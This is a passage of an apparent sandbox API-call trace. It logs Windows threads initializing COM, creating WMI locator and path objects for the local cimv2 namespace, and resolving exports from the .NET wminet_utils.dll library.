0x0 [0281.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0281.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 231 os_tid = 0xfb8 Thread: id = 232 os_tid = 0x1168 [0251.097] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0251.097] RoInitialize () returned 0x1 [0251.097] RoUninitialize () returned 0x0 [0251.161] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x8b3ec8c | out: lpiid=0x8b3ec8c) returned 0x0 [0251.165] CoGetClassObject (in: rclsid=0x78cd254*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x72d9b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8b3e998 | out: ppv=0x8b3e998*=0x76869d0) returned 0x0 [0251.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72de9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x8b3ebb4 | out: ppvObject=0x8b3ebb4*=0x0) returned 0x80004002 [0251.184] WbemDefPath:IClassFactory:CreateInstance (in: This=0x76869d0, pUnkOuter=0x0, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b3ebc0 | out: ppvObject=0x8b3ebc0*=0x78dc638) returned 0x0 [0251.185] WbemDefPath:IUnknown:Release (This=0x76869d0) returned 0x0 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b3e7e4 | out: ppvObject=0x8b3e7e4*=0x78dc638) returned 0x0 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d90328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x8b3e7a0 | out: ppvObject=0x8b3e7a0*=0x0) returned 0x80004002 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d90490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x8b3e394 | out: ppvObject=0x8b3e394*=0x0) returned 0x80004002 [0251.185] WbemDefPath:IUnknown:AddRef (This=0x78dc638) returned 0x3 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d90074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x8b3e0f4 | out: ppvObject=0x8b3e0f4*=0x0) returned 0x80004002 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d8ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x8b3e0a4 | out: ppvObject=0x8b3e0a4*=0x0) returned 0x80004002 [0251.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72cd7604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b3e0b0 | out: ppvObject=0x8b3e0b0*=0x76677b0) returned 0x0 [0251.185] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x76677b0, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x8b3e0b8 | out: pCid=0x8b3e0b8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0251.186] WbemDefPath:IUnknown:Release (This=0x76677b0) returned 0x3 [0251.186] CoGetContextToken (in: pToken=0x8b3e110 | out: pToken=0x8b3e110) returned 0x0 [0251.186] CoGetContextToken (in: pToken=0x8b3e518 | out: pToken=0x8b3e518) returned 0x0 [0251.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x78dc638, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b3e5a4 | out: ppvObject=0x8b3e5a4*=0x0) returned 0x80004002 [0251.186] WbemDefPath:IUnknown:Release (This=0x78dc638) returned 0x2 [0251.186] WbemDefPath:IUnknown:Release (This=0x78dc638) returned 0x1 [0251.368] SetEvent (hEvent=0x6e4) returned 1 Thread: id = 233 os_tid = 0x10b4 [0251.419] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0251.419] RoInitialize () returned 0x1 [0251.419] RoUninitialize () returned 0x0 [0251.420] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x8bbf05c | out: lpiid=0x8bbf05c) returned 0x0 [0251.422] CoGetClassObject (in: rclsid=0x78cd524*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x72d9b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8bbed68 | out: ppv=0x8bbed68*=0x11fda58) returned 0x0 [0251.431] WbemLocator:IUnknown:QueryInterface (in: This=0x11fda58, riid=0x72de9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x8bbef84 | out: ppvObject=0x8bbef84*=0x0) returned 0x80004002 [0251.431] WbemLocator:IClassFactory:CreateInstance (in: This=0x11fda58, pUnkOuter=0x0, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbef90 | out: ppvObject=0x8bbef90*=0x76869d0) returned 0x0 [0251.432] WbemLocator:IUnknown:Release (This=0x11fda58) returned 0x0 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbebb4 | out: ppvObject=0x8bbebb4*=0x76869d0) returned 0x0 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d90328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x8bbeb70 | out: ppvObject=0x8bbeb70*=0x0) returned 0x80004002 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d90490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x8bbe764 | out: ppvObject=0x8bbe764*=0x0) returned 0x80004002 [0251.432] WbemLocator:IUnknown:AddRef (This=0x76869d0) returned 0x3 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d90074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x8bbe4c4 | out: ppvObject=0x8bbe4c4*=0x0) returned 0x80004002 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d8ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x8bbe474 | out: ppvObject=0x8bbe474*=0x0) returned 0x80004002 [0251.432] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72cd7604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbe480 | out: ppvObject=0x8bbe480*=0x0) returned 0x80004002 [0251.432] CoGetContextToken (in: pToken=0x8bbe4e0 | out: pToken=0x8bbe4e0) returned 0x0 [0251.433] CoGetObjectContext (in: riid=0x72d63e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x11fda5c | out: ppv=0x11fda5c*=0x11bb078) returned 0x0 [0251.433] CoGetContextToken (in: pToken=0x8bbe8e8 | out: pToken=0x8bbe8e8) returned 0x0 [0251.433] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x72d902b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8bbe974 | out: ppvObject=0x8bbe974*=0x0) returned 0x80004002 [0251.434] WbemLocator:IUnknown:Release (This=0x76869d0) returned 0x2 [0251.434] WbemLocator:IUnknown:Release (This=0x76869d0) returned 0x1 [0251.434] CoGetContextToken (in: pToken=0x8bbef70 | out: pToken=0x8bbef70) returned 0x0 [0251.434] CoGetContextToken (in: pToken=0x8bbeed0 | out: pToken=0x8bbeed0) returned 0x0 [0251.434] WbemLocator:IUnknown:QueryInterface (in: This=0x76869d0, riid=0x8bbefa0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x8bbef9c | out: ppvObject=0x8bbef9c*=0x76869d0) returned 0x0 [0251.434] WbemLocator:IUnknown:AddRef (This=0x76869d0) returned 0x3 [0251.434] WbemLocator:IUnknown:Release (This=0x76869d0) returned 0x2 [0251.435] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x78dc638, puCount=0x8bbf138 | out: puCount=0x8bbf138*=0x2) returned 0x0 [0251.436] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=8, puBuffLength=0x8bbf134*=0x0, pszText=0x0 | out: puBuffLength=0x8bbf134*=0x17, pszText=0x0) returned 0x0 [0251.436] WbemDefPath:IWbemPath:GetText (in: This=0x78dc638, lFlags=8, puBuffLength=0x8bbf134*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x8bbf134*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0251.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0251.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x8bbe888, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0251.446] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6cb30000 [0251.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x8bbe8bc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity5Øs/\x07¹\x95ðùÊr\x94ë»\x08\x01", lpUsedDefaultChar=0x0) returned 13 [0251.497] GetProcAddress (hModule=0x6cb30000, lpProcName="ResetSecurity") returned 0x6cb37a70 [0251.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x8bbe8bc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0251.525] GetProcAddress (hModule=0x6cb30000, lpProcName="SetSecurity") returned 0x6cb37ac0 [0251.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x8bbe8b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 18 [0251.553] GetProcAddress (hModule=0x6cb30000, lpProcName="BlessIWbemServices") returned 0x6cb36b60 [0251.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x8bbe8b0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 24 [0251.731] GetProcAddress (hModule=0x6cb30000, lpProcName="BlessIWbemServicesObject") returned 0x6cb36bc0 [0251.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x8bbe8b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 17 [0251.852] GetProcAddress (hModule=0x6cb30000, lpProcName="GetPropertyHandle") returned 0x6cb37500 [0251.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x8bbe8b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 18 [0251.890] GetProcAddress (hModule=0x6cb30000, lpProcName="WritePropertyValue") returned 0x6cb37c30 [0251.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x8bbe8c4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 5 [0251.977] GetProcAddress (hModule=0x6cb30000, lpProcName="Clone") returned 0x6cb36c20 [0252.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x8bbe8b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0252.051] GetProcAddress (hModule=0x6cb30000, lpProcName="VerifyClientKey") returned 0x6cb37bb0 [0252.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x8bbe8b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0252.066] GetProcAddress (hModule=0x6cb30000, lpProcName="GetQualifierSet") returned 0x6cb372c0 [0252.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x8bbe8c4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0252.116] GetProcAddress (hModule=0x6cb30000, lpProcName="Get") returned 0x6cb37290 [0252.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x8bbe8c4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0252.337] GetProcAddress (hModule=0x6cb30000, lpProcName="Put") returned 0x6cb376c0 [0252.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x8bbe8c4, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 6 [0252.477] GetProcAddress (hModule=0x6cb30000, lpProcName="Delete") returned 0x6cb36ff0 [0252.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x8bbe8c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 8 [0252.580] GetProcAddress (hModule=0x6cb30000, lpProcName="GetNames") returned 0x6cb374a0 [0252.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x8bbe8b8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 16 [0252.725] GetProcAddress (hModule=0x6cb30000, lpProcName="BeginEnumeration") returned 0x6cb36b20 [0252.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x8bbe8c4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 4 [0252.803] GetProcAddress (hModule=0x6cb30000, lpProcName="Next") returned 0x6cb37660 [0252.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x8bbe8bc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 14 [0252.899] GetProcAddress (hModule=0x6cb30000, lpProcName="EndEnumeration") returned 0x6cb370b0 [0252.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x8bbe8b0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0252.974] GetProcAddress (hModule=0x6cb30000, lpProcName="GetPropertyQualifierSet") returned 0x6cb37590 [0252.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x8bbe8c4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 5 [0252.999] GetProcAddress (hModule=0x6cb30000, lpProcName="Clone") returned 0x6cb36c20 [0253.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x8bbe8bc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 13 [0253.001] GetProcAddress (hModule=0x6cb30000, lpProcName="GetObjectText") returned 0x6cb374d0 [0253.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x8bbe8b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 17 [0253.086] GetProcAddress (hModule=0x6cb30000, lpProcName="SpawnDerivedClass") returned 0x6cb37b10 [0253.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x8bbe8bc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 13 [0253.325] GetProcAddress (hModule=0x6cb30000, lpProcName="SpawnInstance") returned 0x6cb37b40 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x8bbe8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 9 [0253.332] GetProcAddress (hModule=0x6cb30000, lpProcName="CompareTo") returned 0x6cb36d10 [0253.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x8bbe8b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 17 [0253.417] GetProcAddress (hModule=0x6cb30000, lpProcName="GetPropertyOrigin") returned 0x6cb37560 [0253.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x8bbe8bc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 12 [0253.451] GetProcAddress (hModule=0x6cb30000, lpProcName="InheritsFrom") returned 0x6cb375c0 [0253.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x8bbe8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 9 [0253.503] GetProcAddress (hModule=0x6cb30000, lpProcName="GetMethod") returned 0x6cb37410 [0253.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x8bbe8c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 9 [0253.540] GetProcAddress (hModule=0x6cb30000, lpProcName="PutMethod") returned 0x6cb37890 [0253.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x8bbe8bc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 12 [0253.622] GetProcAddress (hModule=0x6cb30000, lpProcName="DeleteMethod") returned 0x6cb37010 [0253.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x8bbe8b4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 22 [0253.626] GetProcAddress (hModule=0x6cb30000, lpProcName="BeginMethodEnumeration") returned 0x6cb36b40 [0253.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x8bbe8c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodØs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 10 [0253.629] GetProcAddress (hModule=0x6cb30000, lpProcName="NextMethod") returned 0x6cb37690 [0253.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x8bbe8b4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 20 [0253.708] GetProcAddress (hModule=0x6cb30000, lpProcName="EndMethodEnumeration") returned 0x6cb370d0 [0253.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x8bbe8b4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet5Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 21 [0253.711] GetProcAddress (hModule=0x6cb30000, lpProcName="GetMethodQualifierSet") returned 0x6cb37470 [0253.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x8bbe8b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0253.714] GetProcAddress (hModule=0x6cb30000, lpProcName="GetMethodOrigin") returned 0x6cb37440 [0253.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x8bbe8b8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get\x045Øs/\x07¹\x95ðùÊr\x94ë»\x08", lpUsedDefaultChar=0x0) returned 16 [0253.717] GetProcAddress (hModule=0x6cb30000, lpProcName="QualifierSet_Get") returned 0x6cb37920 [0253.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x8bbe8b8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 